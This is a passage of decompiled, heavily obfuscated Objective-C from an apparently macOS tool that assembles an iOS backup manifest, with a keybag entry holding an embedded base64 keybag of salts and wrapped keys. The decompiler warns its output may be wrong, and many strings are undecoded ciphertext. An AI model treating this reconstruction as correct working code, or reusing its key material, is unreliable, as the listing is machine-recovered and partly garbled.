aWd[1671] = 77;
aWd[1672] = 81;
aWd[1673] = 86;
aWd[1674] = 77;
aWd[1675] = 65;
aWd[1676] = 65;
aWd[1677] = 65;
aWd[1678] = 65;
aWd[1679] = 69;
aWd[1680] = 65;
aWd[1681] = 65;
aWd[1682] = 65;
aWd[1683] = 65;
aWd[1684] = 67;
aWd[1685] = 49;
aWd[1686] = 100;
aWd[1687] = 83;
aWd[1688] = 81;
aWd[1689] = 86;
aWd[1690] = 65;
aWd[1691] = 65;
aWd[1692] = 65;
aWd[1693] = 65;
aWd[1694] = 65;
aWd[1695] = 69;
aWd[1696] = 65;
aWd[1697] = 65;
aWd[1698] = 65;
aWd[1699] = 65;
aWd[1700] = 65;
aWd[1701] = 48;
aWd[1702] = 116;
aWd[1703] = 85;
aWd[1704] = 87;
aWd[1705] = 86;
aWd[1706] = 65;
aWd[1707] = 65;
aWd[1708] = 65;
aWd[1709] = 65;
aWd[1710] = 65;
aWd[1711] = 69;
aWd[1712] = 65;
aWd[1713] = 65;
aWd[1714] = 65;
aWd[1715] = 65;
aWd[1716] = 65;
aWd[1717] = 70;
aWd[1718] = 100;
aWd[1719] = 81;
aWd[1720] = 83;
aWd[1721] = 49;
aWd[1722] = 107;
aWd[1723] = 65;
aWd[1724] = 65;
aWd[1725] = 65;
aWd[1726] = 65;
aWd[1727] = 111;
aWd[1728] = 99;
aWd[1729] = 89;
aWd[1730] = 100;
aWd[1731] = 97;
aWd[1732] = 50;
aWd[1733] = 106;
aWd[1734] = 121;
aWd[1735] = 89;
aWd[1736] = 122;
aWd[1737] = 122;
aWd[1738] = 83;
aWd[1739] = 75;
aWd[1740] = 103;
aWd[1741] = 103;
aWd[1742] = 82;
aWd[1743] = 80;
aWd[1744] = 119;
aWd[1745] = 47;
aWd[1746] = 113;
aWd[1747] = 103;
aWd[1748] = 104;
aWd[1749] = 54;
aWd[1750] = 81;
aWd[1751] = 80;
aWd[1752] = 69;
aWd[1753] = 83;
aWd[1754] = 108;
aWd[1755] = 107;
aWd[1756] = 90;
aWd[1757] = 101;
aWd[1758] = 100;
aWd[1759] = 103;
aWd[1760] = 68;
aWd[1761] = 85;
aWd[1762] = 75;
aWd[1763] = 112;
aWd[1764] = 84;
aWd[1765] = 114;
aWd[1766] = 52;
aWd[1767] = 90;
aWd[1768] = 90;
aWd[1769] = 56;
aWd[1770] = 70;
aWd[1771] = 68;
aWd[1772] = 103;
aWd[1773] = 100;
aWd[1774] = 55;
aWd[1775] = 89;
aWd[1776] = 111;
aWd[1777] = 65;
aWd[1778] = 76;
aWd[1779] = 89;
aWd[1780] = 49;
aWd[1781] = 103;
aWd[1782] = 61;
aWd[1783] = 61;
aWd[1784] = 0;
asc_10029D63F[0] = 57;
asc_10029D63F[1] = 46;
asc_10029D63F[2] = 49;
*v29 = 1059101884;
}
else if ( v23 == 567063980 )
{
*v29 = 890383879;
}
}
else if ( v23 == 194736978 )
{
qmemcpy(
aWd,
"VkVSUwAAAAQAAAAFVFlQRQAAAAQAAAABVVVJRAAAABDud41d1b9NBICR1BH9JfVtSE1DSwAAACgAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAV1JBUAAAAAQAAAAAU0FMVAAAABRY5Ne2bthGQ5rf4O3gikep1e6tZUlURVIAAAAEAAAnEFVV"
"SUQAAAAQB7R8awiGR9aba1UuVahGPENMQVMAAAAEAAAAAVdSQVAAAAAEAAAAAktUWVAAAAAEAAAAAFdQS1kAAAAoN3kQAJloFg+u"
"kEUY+v5P+dhc/Welw/oucsyS40UBh67ZHef5ZMk9UVVVSUQAAAAQgd0cg0hSTgaxR3PVUbcEkUNMQVMAAAAEAAAAAldSQVAAAAAE"
"AAAAAktUWVAAAAAEAAAAAFdQS1kAAAAoMiQTXx0SJlyrGJzdKZQ+SfL124w+2Tf/3d1R2i9yNj9zZCHNJhnorVVVSUQAAAAQf7JF"
"QiBOS12JDD7qwKNTSkNMQVMAAAAEAAAAA1dSQVAAAAAEAAAAAktUWVAAAAAEAAAAAFdQS1kAAAAoSEelorROJA46ZUdwDHhMKiRg"
"uQyqHukotrxhjIfqiZ5ESBXX9txi51VVSUQAAAAQfF0G/837QLq01xH9+66vx0NMQVMAAAAEAAAABFdSQVAAAAAEAAAAAktUWVAA"
"AAAEAAAAAFdQS1kAAAAol0BvFhd5bu4Hr75XqzNf4g0fMqZAie6OxI+x/pgm6Y95XW17N+ZIDVVVSUQAAAAQimkT2dp1QeadMu1K"
"hJKNTUNMQVMAAAAEAAAABVdSQVAAAAAEAAAAA0tUWVAAAAAEAAAAAFdQS1kAAAAo2N2DZarQ6GPoWRgTiy/tdjKArOqTaH0tPSG9"
"KLbIjGTOcLodhx23xFVVSUQAAAAQQV37JVZHQFiKpoNiGmT6+ENMQVMAAAAEAAAABldSQVAAAAAEAAAAA0tUWVAAAAAEAAAAAFdQ"
"S1kAAAAofe2QSvDC2cV7Etk4fSBbgqDx5ne/z1VHwmJ6NdVrTyWi80Sy869DM1VVSUQAAAAQFzkdH+VgSOmTj3yEcfWmMUNMQVMA"
"AAAEAAAAB1dSQVAAAAAEAAAAA0tUWVAAAAAEAAAAAFdQS1kAAAAo7kLYPQ/DnHBERGpaz37eyntIX/XzovsS0mpHW3SoHvrb9RBgOB+WblVV",
1208);
*v29 = -677049517;
}
else if ( v23 == 375115428 )
{
*v29 = -709155118;
}
}
else if ( v23 > 908352355 )
{
if ( v23 > 1053918844 )
{
if ( v23 == 1059101884 )
{
aWd[1208] = v27 ^ 0x3C;
aWd[1209] = 85;
aWd[1210] = 81;
aWd[1211] = 65;
aWd[1212] = 65;
aWd[1213] = 65;
aWd[1214] = 65;
aWd[1215] = 81;
aWd[1216] = 69;
aWd[1217] = 66;
aWd[1218] = 112;
aWd[1219] = 103;
aWd[1220] = 75;
aWd[1221] = 79;
aWd[1222] = 122;
aWd[1223] = 57;
aWd[1224] = 84;
aWd[1225] = 110;
aWd[1226] = 105;
aWd[1227] = 56;
aWd[1228] = 70;
aWd[1229] = 57;
aWd[1230] = 107;
aWd[1231] = 109;
aWd[1232] = 83;
aWd[1233] = 88;
aWd[1234] = 100;
aWd[1235] = 48;
aWd[1236] = 115;
aWd[1237] = 69;
aWd[1238] = 78;
aWd[1239] = 77;
aWd[1240] = 81;
aWd[1241] = 86;
aWd[1242] = 77;
aWd[1243] = 65;
aWd[1244] = 65;
aWd[1245] = 65;
aWd[1246] = 65;
aWd[1247] = 69;
aWd[1248] = 65;
aWd[1249] = 65;
aWd[1250] = 65;
aWd[1251] = 65;
aWd[1252] = 67;
aWd[1253] = 70;
aWd[1254] = 100;
aWd[1255] = 83;
aWd[1256] = 81;
aWd[1257] = 86;
aWd[1258] = 65;
aWd[1259] = 65;
aWd[1260] = 65;
aWd[1261] = 65;
aWd[1262] = 65;
aWd[1263] = 69;
aWd[1264] = 65;
aWd[1265] = 65;
aWd[1266] = 65;
aWd[1267] = 65;
aWd[1268] = 65;
aWd[1269] = 48;
aWd[1270] = 116;
aWd[1271] = 85;
aWd[1272] = 87;
aWd[1273] = 86;
aWd[1274] = 65;
aWd[1275] = 65;
aWd[1276] = 65;
aWd[1277] = 65;
aWd[1278] = 65;
aWd[1279] = 69;
aWd[1280] = 65;
aWd[1281] = 65;
aWd[1282] = 65;
aWd[1283] = 65;
aWd[1284] = 65;
aWd[1285] = 70;
aWd[1286] = 100;
aWd[1287] = 81;
aWd[1288] = 83;
aWd[1289] = 49;
aWd[1290] = 107;
aWd[1291] = 65;
aWd[1292] = 65;
aWd[1293] = 65;
aWd[1294] = 65;
aWd[1295] = 111;
aWd[1296] = 53;
aWd[1297] = 109;
aWd[1298] = 120;
aWd[1299] = 86;
aWd[1300] = 111;
aWd[1301] = 121;
aWd[1302] = 78;
aWd[1303] = 70;
aWd[1304] = 103;
aWd[1305] = 80;
aWd[1306] = 77;
aWd[1307] = 122;
aWd[1308] = 112;
aWd[1309] = 104;
aWd[1310] = 89;
aWd[1311] = 104;
aWd[1312] = 109;
aWd[1313] = 49;
aWd[1314] = 86;
aWd[1315] = 71;
aWd[1316] = 56;
aWd[1317] = 70;
aWd[1318] = 104;
aWd[1319] = 115;
aWd[1320] = 105;
aWd[1321] = 110;
aWd[1322] = 47;
aWd[1323] = 120;
aWd[1324] = 88;
aWd[1325] = 43;
aWd[1326] = 114;
aWd[1327] = 54;
aWd[1328] = 109;
aWd[1329] = 67;
aWd[1330] = 100;
aWd[1331] = 57;
aWd[1332] = 103;
aWd[1333] = 66;
aWd[1334] = 121;
aWd[1335] = 70;
aWd[1336] = 53;
aWd[1337] = 83;
aWd[1338] = 120;
aWd[1339] = 101;
aWd[1340] = 111;
aWd[1341] = 108;
aWd[1342] = 65;
aWd[1343] = 73;
aWd[1344] = 84;
aWd[1345] = 47;
aWd[1346] = 73;
aWd[1347] = 67;
aWd[1348] = 70;
aWd[1349] = 49;
aWd[1350] = 86;
aWd[1351] = 86;
aWd[1352] = 83;
aWd[1353] = 85;
aWd[1354] = 81;
aWd[1355] = 65;
aWd[1356] = 65;
aWd[1357] = 65;
aWd[1358] = 65;
aWd[1359] = 81;
aWd[1360] = 114;
aWd[1361] = 102;
aWd[1362] = 75;
aWd[1363] = 66;
aWd[1364] = 50;
aWd[1365] = 117;
aWd[1366] = 80;
aWd[1367] = 83;
aWd[1368] = 81;
aWd[1369] = 116;
aWd[1370] = 87;
aWd[1371] = 104;
aWd[1372] = 56;
aWd[1373] = 50;
aWd[1374] = 121;
aWd[1375] = 120;
aWd[1376] = 54;
aWd[1377] = 119;
aWd[1378] = 52;
aWd[1379] = 66;
aWd[1380] = 111;
aWd[1381] = 85;
aWd[1382] = 78;
aWd[1383] = 77;
aWd[1384] = 81;
aWd[1385] = 86;
aWd[1386] = 77;
aWd[1387] = 65;
aWd[1388] = 65;
aWd[1389] = 65;
aWd[1390] = 65;
aWd[1391] = 69;
aWd[1392] = 65;
aWd[1393] = 65;
aWd[1394] = 65;
aWd[1395] = 65;
aWd[1396] = 67;
aWd[1397] = 86;
aWd[1398] = 100;
aWd[1399] = 83;
aWd[1400] = 81;
aWd[1401] = 86;
aWd[1402] = 65;
aWd[1403] = 65;
aWd[1404] = 65;
aWd[1405] = 65;
aWd[1406] = 65;
aWd[1407] = 69;
aWd[1408] = 65;
aWd[1409] = 65;
aWd[1410] = 65;
aWd[1411] = 65;
aWd[1412] = 65;
aWd[1413] = 48;
aWd[1414] = 116;
aWd[1415] = 85;
aWd[1416] = 87;
aWd[1417] = 86;
aWd[1418] = 65;
aWd[1419] = 65;
aWd[1420] = 65;
aWd[1421] = 65;
aWd[1422] = 65;
aWd[1423] = 69;
aWd[1424] = 65;
aWd[1425] = 65;
aWd[1426] = 65;
aWd[1427] = 65;
aWd[1428] = 65;
aWd[1429] = 70;
aWd[1430] = 100;
aWd[1431] = 81;
aWd[1432] = 83;
aWd[1433] = 49;
aWd[1434] = 107;
aWd[1435] = 65;
aWd[1436] = 65;
aWd[1437] = 65;
aWd[1438] = 65;
aWd[1439] = 111;
aWd[1440] = 53;
aWd[1441] = 105;
aWd[1442] = 97;
aWd[1443] = 121;
aWd[1444] = 90;
aWd[1445] = 66;
aWd[1446] = 119;
aWd[1447] = 99;
aWd[1448] = 82;
aWd[1449] = 97;
aWd[1450] = 49;
aWd[1451] = 99;
aWd[1452] = 49;
aWd[1453] = 77;
aWd[1454] = 77;
aWd[1455] = 120;
aWd[1456] = 55;
aWd[1457] = 118;
aWd[1458] = 104;
aWd[1459] = 54;
aWd[1460] = 108;
aWd[1461] = 79;
aWd[1462] = 89;
aWd[1463] = 117;
aWd[1464] = 120;
aWd[1465] = 51;
aWd[1466] = 111;
aWd[1467] = 68;
aWd[1468] = 73;
aWd[1469] = 47;
aWd[1470] = 98;
aWd[1471] = 100;
aWd[1472] = 120;
aWd[1473] = 70;
aWd[1474] = 67;
aWd[1475] = 87;
aWd[1476] = 49;
aWd[1477] = 87;
aWd[1478] = 72;
aWd[1479] = 67;
aWd[1480] = 81;
aWd[1481] = 82;
aWd[1482] = 47;
aWd[1483] = 85;
aWd[1484] = 98;
aWd[1485] = 49;
aWd[1486] = 77;
aWd[1487] = 79;
aWd[1488] = 118;
aWd[1489] = 43;
aWd[1490] = 81;
aWd[1491] = 97;
aWd[1492] = 89;
aWd[1493] = 70;
aWd[1494] = 86;
aWd[1495] = 86;
aWd[1496] = 83;
aWd[1497] = 85;
aWd[1498] = 81;
aWd[1499] = 65;
aWd[1500] = 65;
aWd[1501] = 65;
aWd[1502] = 65;
aWd[1503] = 81;
aWd[1504] = 105;
aWd[1505] = 76;
aWd[1506] = 88;
aWd[1507] = 118;
aWd[1508] = 75;
aWd[1509] = 51;
aWd[1510] = 113;
aWd[1511] = 118;
aWd[1512] = 81;
aWd[1513] = 122;
aWd[1514] = 97;
aWd[1515] = 47;
aWd[1516] = 109;
aWd[1517] = 101;
aWd[1518] = 97;
aWd[1519] = 53;
aWd[1520] = 105;
aWd[1521] = 110;
aWd[1522] = 115;
aWd[1523] = 115;
aWd[1524] = 47;
aWd[1525] = 48;
aWd[1526] = 78;
aWd[1527] = 77;
aWd[1528] = 81;
aWd[1529] = 86;
aWd[1530] = 77;
aWd[1531] = 65;
aWd[1532] = 65;
aWd[1533] = 65;
aWd[1534] = 65;
aWd[1535] = 69;
aWd[1536] = 65;
aWd[1537] = 65;
aWd[1538] = 65;
aWd[1539] = 65;
aWd[1540] = 67;
aWd[1541] = 108;
aWd[1542] = 100;
aWd[1543] = 83;
aWd[1544] = 81;
aWd[1545] = 86;
aWd[1546] = 65;
aWd[1547] = 65;
aWd[1548] = 65;
aWd[1549] = 65;
aWd[1550] = 65;
aWd[1551] = 69;
aWd[1552] = 65;
aWd[1553] = 65;
aWd[1554] = 65;
aWd[1555] = 65;
aWd[1556] = 65;
aWd[1557] = 48;
aWd[1558] = 116;
aWd[1559] = 85;
aWd[1560] = 87;
aWd[1561] = 86;
aWd[1562] = 65;
aWd[1563] = 65;
aWd[1564] = 65;
aWd[1565] = 65;
aWd[1566] = 65;
aWd[1567] = 69;
aWd[1568] = 65;
aWd[1569] = 65;
aWd[1570] = 65;
aWd[1571] = 65;
aWd[1572] = 65;
aWd[1573] = 70;
aWd[1574] = 100;
aWd[1575] = 81;
aWd[1576] = 83;
aWd[1577] = 49;
aWd[1578] = 107;
aWd[1579] = 65;
aWd[1580] = 65;
aWd[1581] = 65;
aWd[1582] = 65;
aWd[1583] = 111;
aWd[1584] = 68;
aWd[1585] = 50;
aWd[1586] = 119;
aWd[1587] = 72;
aWd[1588] = 88;
aWd[1589] = 55;
aWd[1590] = 75;
aWd[1591] = 114;
aWd[1592] = 105;
aWd[1593] = 69;
aWd[1594] = 101;
aWd[1595] = 49;
aWd[1596] = 69;
aWd[1597] = 51;
aWd[1598] = 49;
aWd[1599] = 122;
aWd[1600] = 55;
aWd[1601] = 83;
aWd[1602] = 81;
aWd[1603] = 55;
aWd[1604] = 47;
aWd[1605] = 43;
aWd[1606] = 65;
aWd[1607] = 86;
aWd[1608] = 121;
aWd[1609] = 109;
aWd[1610] = 99;
aWd[1611] = 112;
aWd[1612] = 65;
aWd[1613] = 82;
aWd[1614] = 77;
aWd[1615] = 89;
aWd[1616] = 110;
aWd[1617] = 81;
aWd[1618] = 103;
aWd[1619] = 101;
aWd[1620] = 103;
aWd[1621] = 116;
aWd[1622] = 90;
aWd[1623] = 68;
aWd[1624] = 48;
aWd[1625] = 77;
aWd[1626] = 113;
aWd[1627] = 50;
aWd[1628] = 85;
aWd[1629] = 53;
aWd[1630] = 53;
aWd[1631] = 117;
aWd[1632] = 120;
aWd[1633] = 119;
aWd[1634] = 78;
aWd[1635] = 114;
aWd[1636] = 50;
aWd[1637] = 70;
aWd[1638] = 86;
aWd[1639] = 86;
aWd[1640] = 83;
aWd[1641] = 85;
aWd[1642] = 81;
aWd[1643] = 65;
aWd[1644] = 65;
aWd[1645] = 65;
aWd[1646] = 65;
aWd[1647] = 81;
aWd[1648] = 47;
aWd[1649] = 81;
aWd[1650] = 57;
aWd[1651] = 102;
aWd[1652] = 101;
aWd[1653] = 90;
aWd[1654] = 120;
aWd[1655] = 76;
aWd[1656] = 83;
aWd[1657] = 43;
aWd[1658] = 43;
aWd[1659] = 113;
aWd[1660] = 83;
aWd[1661] = 101;
aWd[1662] = 47;
aWd[1663] = 97;
aWd[1664] = 52;
aWd[1665] = 101;
aWd[1666] = 109;
aWd[1667] = 82;
aWd[1668] = 82;
aWd[1669] = 69;
aWd[1670] = 78;
aWd[1671] = 77;
aWd[1672] = 81;
aWd[1673] = 86;
aWd[1674] = 77;
aWd[1675] = 65;
aWd[1676] = 65;
aWd[1677] = 65;
aWd[1678] = 65;
aWd[1679] = 69;
aWd[1680] = 65;
aWd[1681] = 65;
aWd[1682] = 65;
aWd[1683] = 65;
aWd[1684] = 67;
aWd[1685] = 49;
aWd[1686] = 100;
aWd[1687] = 83;
aWd[1688] = 81;
aWd[1689] = 86;
aWd[1690] = 65;
aWd[1691] = 65;
aWd[1692] = 65;
aWd[1693] = 65;
aWd[1694] = 65;
aWd[1695] = 69;
aWd[1696] = 65;
aWd[1697] = 65;
aWd[1698] = 65;
aWd[1699] = 65;
aWd[1700] = 65;
aWd[1701] = 48;
aWd[1702] = 116;
aWd[1703] = 85;
aWd[1704] = 87;
aWd[1705] = 86;
aWd[1706] = 65;
aWd[1707] = 65;
aWd[1708] = 65;
aWd[1709] = 65;
aWd[1710] = 65;
aWd[1711] = 69;
aWd[1712] = 65;
aWd[1713] = 65;
aWd[1714] = 65;
aWd[1715] = 65;
aWd[1716] = 65;
aWd[1717] = 70;
aWd[1718] = 100;
aWd[1719] = 81;
aWd[1720] = 83;
aWd[1721] = 49;
aWd[1722] = 107;
aWd[1723] = 65;
aWd[1724] = 65;
aWd[1725] = 65;
aWd[1726] = 65;
aWd[1727] = 111;
aWd[1728] = 99;
aWd[1729] = 89;
aWd[1730] = 100;
aWd[1731] = 97;
aWd[1732] = 50;
aWd[1733] = 106;
aWd[1734] = 121;
aWd[1735] = 89;
aWd[1736] = 122;
aWd[1737] = 122;
aWd[1738] = 83;
aWd[1739] = 75;
aWd[1740] = 103;
aWd[1741] = 103;
aWd[1742] = 82;
aWd[1743] = 80;
aWd[1744] = 119;
aWd[1745] = 47;
aWd[1746] = 113;
aWd[1747] = 103;
aWd[1748] = 104;
aWd[1749] = 54;
aWd[1750] = 81;
aWd[1751] = 80;
aWd[1752] = 69;
aWd[1753] = 83;
aWd[1754] = 108;
aWd[1755] = 107;
aWd[1756] = 90;
aWd[1757] = 101;
aWd[1758] = 100;
aWd[1759] = 103;
aWd[1760] = 68;
aWd[1761] = 85;
aWd[1762] = 75;
aWd[1763] = 112;
aWd[1764] = 84;
aWd[1765] = 114;
aWd[1766] = 52;
aWd[1767] = 90;
aWd[1768] = 90;
aWd[1769] = 56;
aWd[1770] = 70;
aWd[1771] = 68;
aWd[1772] = 103;
aWd[1773] = 100;
aWd[1774] = 55;
aWd[1775] = 89;
aWd[1776] = 111;
aWd[1777] = 65;
aWd[1778] = 76;
aWd[1779] = 89;
aWd[1780] = 49;
aWd[1781] = 103;
aWd[1782] = 61;
aWd[1783] = 61;
aWd[1784] = 0;
asc_10029D63F[0] = 57;
asc_10029D63F[1] = 46;
asc_10029D63F[2] = 49;
v4 = 0;
v28 = 0;
v5 = 9462665;
v6 = 550641931;
goto LABEL_76;
}
if ( v23 == 1053918845 )
{
v5 = 714644918;
if ( v21 != -166815417 )
v5 = 891848054;
goto LABEL_83;
}
}
else if ( v23 == 908352356 )
{
*v29 = 40512153;
}
else if ( v23 == 1039442281 )
{
asc_10029D63F[3] = v28;
aRe[0] = 76;
aRe[1] = 111;
aRe[2] = 99;
aRe[3] = 107;
aRe[4] = 100;
aRe[5] = 111;
aRe[6] = 119;
aRe[7] = 110;
aRe[8] = 0;
strcpy(asc_10029D612, "BackupKeyBag");
strcpy(asc_10029D5F0, "SystemDomainsVersion");
asc_10029D624[0] = 50;
asc_10029D624[1] = 48;
asc_10029D624[2] = 46;
asc_10029D624[3] = 48;
asc_10029D624[4] = 0;
aVe[0] = 86;
aVe[1] = 101;
aVe[2] = 114;
aVe[3] = 115;
aVe[4] = 105;
aVe[5] = 111;
aVe[6] = 110;
v4 = 1;
aVe[7] = 0;
v5 = 1039442281;
v6 = 567063980;
goto LABEL_76;
}
}
else if ( v23 > 890383878 )
{
if ( v23 == 890383879 )
{
v4 = 1;
v5 = -670569590;
v6 = -995078078;
goto LABEL_76;
}
if ( v23 == 891848054 )
{
v22 = dword_10029F7F0;
v5 = -1061418547;
goto LABEL_83;
}
}
else
{
if ( v23 == 626057958 )
goto LABEL_63;
if ( v23 == 714644918 )
*v29 = 891848054;
}
}
if ( v23 <= -709155119 )
break;
if ( v23 <= -628988630 )
{
switch ( v23 )
{
case -709155118:
v7 = !v26;
v5 = 890383879;
v8 = -777963003;
LABEL_81:
if ( !v7 )
v5 = v8;
LABEL_83:
*v29 = v5;
break;
case -677049517:
qmemcpy(
aWd,
"VkVSUwAAAAQAAAAFVFlQRQAAAAQAAAABVVVJRAAAABDud41d1b9NBICR1BH9JfVtSE1DSwAAACgAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAV1JBUAAAAAQAAAAAU0FMVAAAABRY5Ne2bthGQ5rf4O3gikep1e6tZUlURVIAAAAEAAAnEFVV"
"SUQAAAAQB7R8awiGR9aba1UuVahGPENMQVMAAAAEAAAAAVdSQVAAAAAEAAAAAktUWVAAAAAEAAAAAFdQS1kAAAAoN3kQAJloFg+u"
"kEUY+v5P+dhc/Welw/oucsyS40UBh67ZHef5ZMk9UVVVSUQAAAAQgd0cg0hSTgaxR3PVUbcEkUNMQVMAAAAEAAAAAldSQVAAAAAE"
"AAAAAktUWVAAAAAEAAAAAFdQS1kAAAAoMiQTXx0SJlyrGJzdKZQ+SfL124w+2Tf/3d1R2i9yNj9zZCHNJhnorVVVSUQAAAAQf7JF"
"QiBOS12JDD7qwKNTSkNMQVMAAAAEAAAAA1dSQVAAAAAEAAAAAktUWVAAAAAEAAAAAFdQS1kAAAAoSEelorROJA46ZUdwDHhMKiRg"
"uQyqHukotrxhjIfqiZ5ESBXX9txi51VVSUQAAAAQfF0G/837QLq01xH9+66vx0NMQVMAAAAEAAAABFdSQVAAAAAEAAAAAktUWVAA"
"AAAEAAAAAFdQS1kAAAAol0BvFhd5bu4Hr75XqzNf4g0fMqZAie6OxI+x/pgm6Y95XW17N+ZIDVVVSUQAAAAQimkT2dp1QeadMu1K"
"hJKNTUNMQVMAAAAEAAAABVdSQVAAAAAEAAAAA0tUWVAAAAAEAAAAAFdQS1kAAAAo2N2DZarQ6GPoWRgTiy/tdjKArOqTaH0tPSG9"
"KLbIjGTOcLodhx23xFVVSUQAAAAQQV37JVZHQFiKpoNiGmT6+ENMQVMAAAAEAAAABldSQVAAAAAEAAAAA0tUWVAAAAAEAAAAAFdQ"
"S1kAAAAofe2QSvDC2cV7Etk4fSBbgqDx5ne/z1VHwmJ6NdVrTyWi80Sy869DM1VVSUQAAAAQFzkdH+VgSOmTj3yEcfWmMUNMQVMA"
"AAAEAAAAB1dSQVAAAAAEAAAAA0tUWVAAAAAEAAAAAFdQS1kAAAAo7kLYPQ/DnHBERGpaz37eyntIX/XzovsS0mpHW3SoHvrb9RBgOB+WblVV",
1208);
v4 = 1;
v27 = 111;
v5 = 194736978;
v6 = 908352356;
LABEL_76:
if ( v4 )
v5 = v6;
goto LABEL_83;
case -670569590:
dword_10029F7F0 = 1;
v9 = HikariFunctionWrapper_757_0((objc_class *)&OBJC_CLASS___NSData);
v10 = HikariFunctionWrapper_759_0(v9, "initWithBase64EncodedString:options:");
v18[-4] = CFSTR("\xBF\x99\xB9\ta \xF5\x66\x60\x47H\a");
v18[-4] = v10;
*v29 = -995078078;
break;
}
}
else if ( v23 > -208978620 )
{
if ( v23 == -208978619 )
{
v11 = 1;
v5 = -184459658;
v12 = 165613275;
goto LABEL_72;
}
if ( v23 == -184459658 )
{
v26 = v22 == 0;
v4 = 1;
v5 = 165613275;
v6 = 375115428;
goto LABEL_76;
}
}
else if ( v23 == -628988629 )
{
*v29 = 626057958;
}
else if ( v23 == -310434064 )
{
v25[1] = CFSTR("RE\xD9\x09i\x91#\xA3w");
v18[1] = -1;
v24[1] = (id)-1LL;
v7 = 0;
v19 = v25 + 2;
v5 = -946662388;
v8 = -1855571179;
goto LABEL_81;
}
}
if ( v23 <= -1061418548 )
break;
if ( v23 > -946662389 )
{
if ( v23 == -946662388 )
{
v25[1] = CFSTR("RE\xD9\x09i\x91#\xA3w");
v24[1] = (id)__NSDictionary0__;
LABEL_63:
*v29 = -310434064;
}
else if ( v23 == -777963003 )
{
v5 = -677049517;
goto LABEL_83;
}
}
else if ( v23 == -1061418547 )
{
*v29 = -208978619;
}
else if ( v23 == -995078078 )
{
dword_10029F7F0 = 1;
v24 = (id *)&v18[-4];
v25 = &v18[-4];
v2 = objc_alloc((Class)&OBJC_CLASS___NSData);
v3 = objc_msgSend(v2, "initWithBase64EncodedString:options:", &cfstr_Wd, 0);
v4 = 1;
v20 = v3;
*v25 = CFSTR("\xBF\x99\xB9\ta \xF5\x66\x60\x47H\a");
*v24 = v20;
v5 = -995078078;
v6 = -628988629;
goto LABEL_76;
}
}
if ( v23 > -1506572325 )
break;
if ( v23 == -1855571179 )
{
*v29 = -1125135779;
}
else if ( v23 == -1648877165 )
{
v4 = 0;
v5 = 1039442281;
v6 = -1506572324;
goto LABEL_76;
}
}
if ( v23 != -1506572324 )
break;
asc_10029D63F[3] = v28;
aRe[0] = 76;
aRe[1] = 111;
aRe[2] = 99;
aRe[3] = 107;
aRe[4] = 100;
aRe[5] = 111;
aRe[6] = 119;
aRe[7] = 110;
aRe[8] = 0;
strcpy(asc_10029D612, "BackupKeyBag");
strcpy(asc_10029D5F0, "SystemDomainsVersion");
asc_10029D624[0] = 50;
asc_10029D624[1] = 48;
asc_10029D624[2] = 46;
asc_10029D624[3] = 48;
asc_10029D624[4] = 0;
aVe[0] = 86;
aVe[1] = 101;
aVe[2] = 114;
aVe[3] = 115;
aVe[4] = 105;
aVe[5] = 111;
aVe[6] = 110;
aVe[7] = 0;
*v29 = 1039442281;
}
}
while ( v23 != -1125135779 );
*v19 = CFSTR("\xA8\xF0\x45\xE3\x3F4\x88\x16Ӓk7-b\xDE\xE9\xB2k");
v24[2] = CFSTR("\xDA\x0D\x8E\xD8\xE1");
v25[3] = CFSTR("ve\x9E\x9AS+\xF8\xAC");
v24[3] = CFSTR("\x99C");
v13 = +[NSDictionary dictionaryWithObjects:forKeys:count:](
&OBJC_CLASS___NSDictionary,
"dictionaryWithObjects:forKeys:count:",
v24,
v25,
4);
v14 = objc_retainAutoreleasedReturnValue(v13);
v15 = +[NSPropertyListSerialization dataWithPropertyList:format:options:error:](
&OBJC_CLASS___NSPropertyListSerialization,
"dataWithPropertyList:format:options:error:",
v14,
200,
0,
0);
v16 = objc_retainAutoreleasedReturnValue(v15);
objc_release(v14);
objc_release(v20);
return objc_autoreleaseReturnValue(v16);
}
// 10029E470: using guessed type __CFString cfstr_Ve_0;
// 10029E4B0: using guessed type __CFString cfstr_Wd;
// 10029E4F0: using guessed type __CFString stru_10029E4F0;
// 10029E530: using guessed type __CFString stru_10029E530;
// 10029E570: using guessed type __CFString stru_10029E570;
// 10029E5B0: using guessed type __CFString stru_10029E5B0;
// 10029E5F0: using guessed type __CFString cfstr_Re;
// 10029F7F0: using guessed type int dword_10029F7F0;
//----- (0000000100250FED) ----------------------------------------------------
// bad sp value at call has been detected, the output may be wrong!
id __cdecl -[Backup hashedFilenameForDomain:path:](Backup *self, SEL a2, id a3, id a4)
{
__int64 v6; // rdx
char v7; // cf
int v8; // eax
int v9; // ecx
__int64 v10; // r15
__int64 v11; // r15
int v12; // eax
bool v13; // zf
int v14; // ecx
char v15; // cf
int v16; // ecx
NSString *v17; // rax
id v18; // r13
CC_LONG v19; // eax
NSString *v20; // rax
NSString *v21; // r12
id v22; // r15
CC_LONG v23; // eax
id v24; // rax
id v25; // rax
unsigned __int8 v27[32]; // [rsp+0h] [rbp-B0h] BYREF
SEL v28; // [rsp+20h] [rbp-90h]
unsigned __int8 *md; // [rsp+28h] [rbp-88h]
id v30; // [rsp+30h] [rbp-80h]
SEL v31; // [rsp+38h] [rbp-78h]
__int64 v32; // [rsp+40h] [rbp-70h]
int v33; // [rsp+4Ch] [rbp-64h]
int v34; // [rsp+50h] [rbp-60h]
int v35; // [rsp+54h] [rbp-5Ch] BYREF
id v36; // [rsp+58h] [rbp-58h]
id v37; // [rsp+60h] [rbp-50h]
id v38; // [rsp+68h] [rbp-48h]
bool v39; // [rsp+75h] [rbp-3Bh]
char v40; // [rsp+76h] [rbp-3Ah]
char v41; // [rsp+77h] [rbp-39h]
int *v42; // [rsp+78h] [rbp-38h]
__int64 v43; // [rsp+80h] [rbp-30h]
v43 = -1;
v6 = 535409438;
v33 = -477380708;
v35 = -1771164083;
v42 = &v35;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v35 > 140384746 )
{
if ( v35 > 1011089058 )
{
if ( v35 <= 1593164509 )
{
if ( v35 > 1413236601 )
{
if ( v35 == 1413236602 )
{
v7 = 0;
v8 = -924592961;
v9 = 1593164510;
LABEL_75:
if ( !v7 )
v8 = v9;
goto LABEL_101;
}
if ( v35 == 1506222876 )
{
v10 = v32;
objc_msgSend(v36, v28, CFSTR("͊Y\xA3]"), md[v32]);
v11 = (v10 & 1) + (v10 | 1);
v12 = 1506222876;
if ( v11 == 20 )
